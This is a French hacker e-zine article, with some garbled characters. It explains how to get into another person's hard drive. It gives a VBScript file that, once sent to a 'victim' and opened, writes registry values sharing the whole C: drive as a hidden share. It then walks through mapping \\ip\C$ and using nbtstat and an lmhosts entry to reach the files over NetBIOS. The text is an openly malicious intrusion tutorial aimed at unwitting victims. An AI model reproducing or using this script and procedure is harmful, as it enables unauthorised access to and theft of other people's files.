께께께께께께께께께께께께께께께께께께께께께께께께께께 � 7�/Acc�der au contenu du disque dur de quelqu'un � 께께께께께께께께께께께께께께께께께께께께께께께께께께 Cette m�thode est en fait un compl�ment � la m�thode parue dans le premier HackZine, qui expliquait comment lire le contenu du disque dur de quelqu'un par NetBios. Cette m�thode, en effet, marche tr�s tr�s rarement :((; l'astuce que je vous propose va vous permettre d'ouvrir le port netbios (139) de la victime, et de lui activer l'option du partage des fichiers.... Pour ce faire, nous allons cr�er un fichier qui, si la victime l'ouvre, va entrer de nouvelles valeurs dans sa base de registre, et qui activera l'option "Partage de fichiers", qui nous permettra par la suite de le hacker par NetBios. Ce fichier est un fichier *.vbs, visual basic quoi... Ouvrez donc le bloc-notes, et tapez (les > repr�sentent le d�but de chaque ligne, ne les tapez pas ;)) ) : >Set WshShell = CreateObject("WScript.Shell") >WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags",770, "REG_DWORD" >WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parmlenc", 6837, "REG_BINARY" >WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parm2enc", 0, "REG_BINARY" >WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\" >WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Remark","" >WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", 0, "REG_DWORD" Enregistrez maintenant cela en *.vbs et envoyez le fichier � votre victime. Maintenant que la victime l'a ouvert, faites un clique droit sur l'ic�ne "Voisinage r�seau", cliquez sur "Se connecter � un lecteur r�seau" et sp�cifier le chemin d'acc�s, qui est : \\ip\C$ O� "ip" repr�sente l'adresse ip de la victime et o� "$" devant "C" sert � rendre invisible le partage de fichiers (niark niark). Et comme je suis g�n�reux, je vais vous r�expliquer comment acc�der � son disque dur... (des fois que vous n'aurez pas lu mon zine pr�c�dent :(( ). Alors pour commencer, sachez qu'il existe une passerelle entre le protocole TCP/IP et le protocole NETBEUI, qui fonctionne au moyen de Netbios, et c'est avec Netbios que nous allons pouvoir hacker notre pauvre victime... Pour cela, vous, vous et votre victime, devez poss�der Win9x (95 ou 98 k�a), ainsi que l'option "Partage des fichiers activ�". Pour activer cette option, c'est tr�s simple, allez dans le Panneau de configuration, cliquez sur l'ic�ne r�seau puis sur l'option Partage des fichiers et de l'imprimante, et voil�, le tour est jou�. :)) Bon, tout est en place, allons y. Ouvrez une fen�tre DOS et tapez : >nbtstat -a ip (ou ip repr�sente l'ip de la victime) Une liste de noms d'oiseaux (fa�on de parler :-) ) va alors s'afficher. Si ce n'est pas le cas changez de victime, elle n'a pas NetBios d'install�. Voil� ce que cela devrait donner : NetBIOS Remote Machine Name Table Name Type Status -------------------------------------------------- MONORDINATEUR <00> UNIQUE Registered MONGROUPE <00> GROUP Registered MONORDINATEUR <03> UNIQUE Registered MONORDINATEUR <20> UNIQUE Registered MONGROUPE <1E> GROUP Registered MAC Address = 44-45-53-54-00-00 Ce qui nous interesse dans cette liste, c'est le nom d'ordinateur avec le <20>, UNIQUE et Registered �cris devant, retenez donc ce nom. Maintenant on va �diter le fichier lmhsot.sam. Toujours sous DOS, tapez : >edit lmhost.sam Vous allez vous aper�evoir que ce fichier est vide, tapez donc � l'int�rieur : >MONORDINATEUR ip #PRE O� MONORDINATEUR repr�sente le nom du pc de la victime, et ip son adresse ip. Restez sous DOS et tapez : >NBTSTAT -R Vous devriez alors obtenir, si tout se passe bien, ce message : Successful purge and preload of the NBT Remote Cache Name Table C'est � ce moment l� que tout va se jouer.... Quittez la fen�tre MS-DOS (tapez "exit"), allez dans d�marrer/rechercher/ordinateur distant puis tapez le nom du pc de la victime (ici MONORDINATEUR). Si un nom de pc s'affiche, c'est gagn�, c'est celui de la victime, vous allez donc pouvoir acc�der � son DD ... Hummm, voil�, c'est tout ce que l'on peut dire sur cette m�thode d'infiltration... Bonne chance !!! :))